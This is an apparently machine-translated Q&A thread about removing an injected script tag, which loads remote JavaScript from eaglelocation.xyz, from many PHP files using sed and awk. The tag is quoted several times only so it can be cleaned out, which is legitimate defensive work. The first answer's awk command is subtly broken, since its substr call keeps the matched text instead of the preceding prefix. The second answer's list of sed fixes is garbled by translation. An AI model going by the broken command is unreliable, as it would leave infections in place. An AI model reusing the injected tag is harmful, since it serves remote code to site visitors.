有人成功使用以下代码感染了我的许多文件:
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>
script标记已添加到许多.php文件中。我正在尝试使用sed
命令来修复这些文件。我的模式由于某种原因不匹配,即使在在线正则表达式测试器中也可以。这就是我所拥有的:
sed '/<script type=\'text\/javascript\' async src=\'https:\/\/eaglelocation.xyz\/ds.js&\'\>\<\/script>/d' index.php
仅需了解更多信息,脚本标签就位于文件顶部的前面,并且还与</script><?php
之类的php标签相连。
答案 0 :(得分:2)
sed不能理解文字字符串(请参阅Is it possible to escape regex metacharacters reliably with sed),而awk可以。如果在一行上,则删除字符串:
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>
来自文件的是这个
awk '
BEGIN { str=ARGV[1]; ARGV[1]="" }
s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" file
要使用GNU awk对所有.php
文件进行更改以进行“就地”编辑,将是:
find . -type f -name '*.php' -exec \
awk -i inplace '
BEGIN { str=ARGV[1]; ARGV[1]="" }
s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" {} +
答案 1 :(得分:1)
sed
的使用存在多个问题:
%
代替/
作为模式定界符d
sed
命令,而是将s
(替换)为-i
(就位)参见下文:
$ cat test.php
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
echo '<p>Hello World</p>'; ?>
$ sed -i "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%" test.php
$ cat test.php
<?php
echo '<p>Hello World</p>'; ?>